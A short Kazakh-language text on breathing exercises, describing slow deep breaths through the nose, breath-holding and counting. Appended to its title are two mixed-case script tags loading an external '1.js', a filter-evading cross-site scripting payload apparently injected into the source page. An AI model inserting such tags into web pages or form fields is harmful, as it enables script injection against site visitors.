тыныс алу гимнастикасы<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Ақырын да терең мұрнымен еркін демаламын.

 Жаттығуды орындаймын демімді ұстап қаламын.

 Бір,екі,үш, төрт тереңірек, кеңірек тағы да демаламын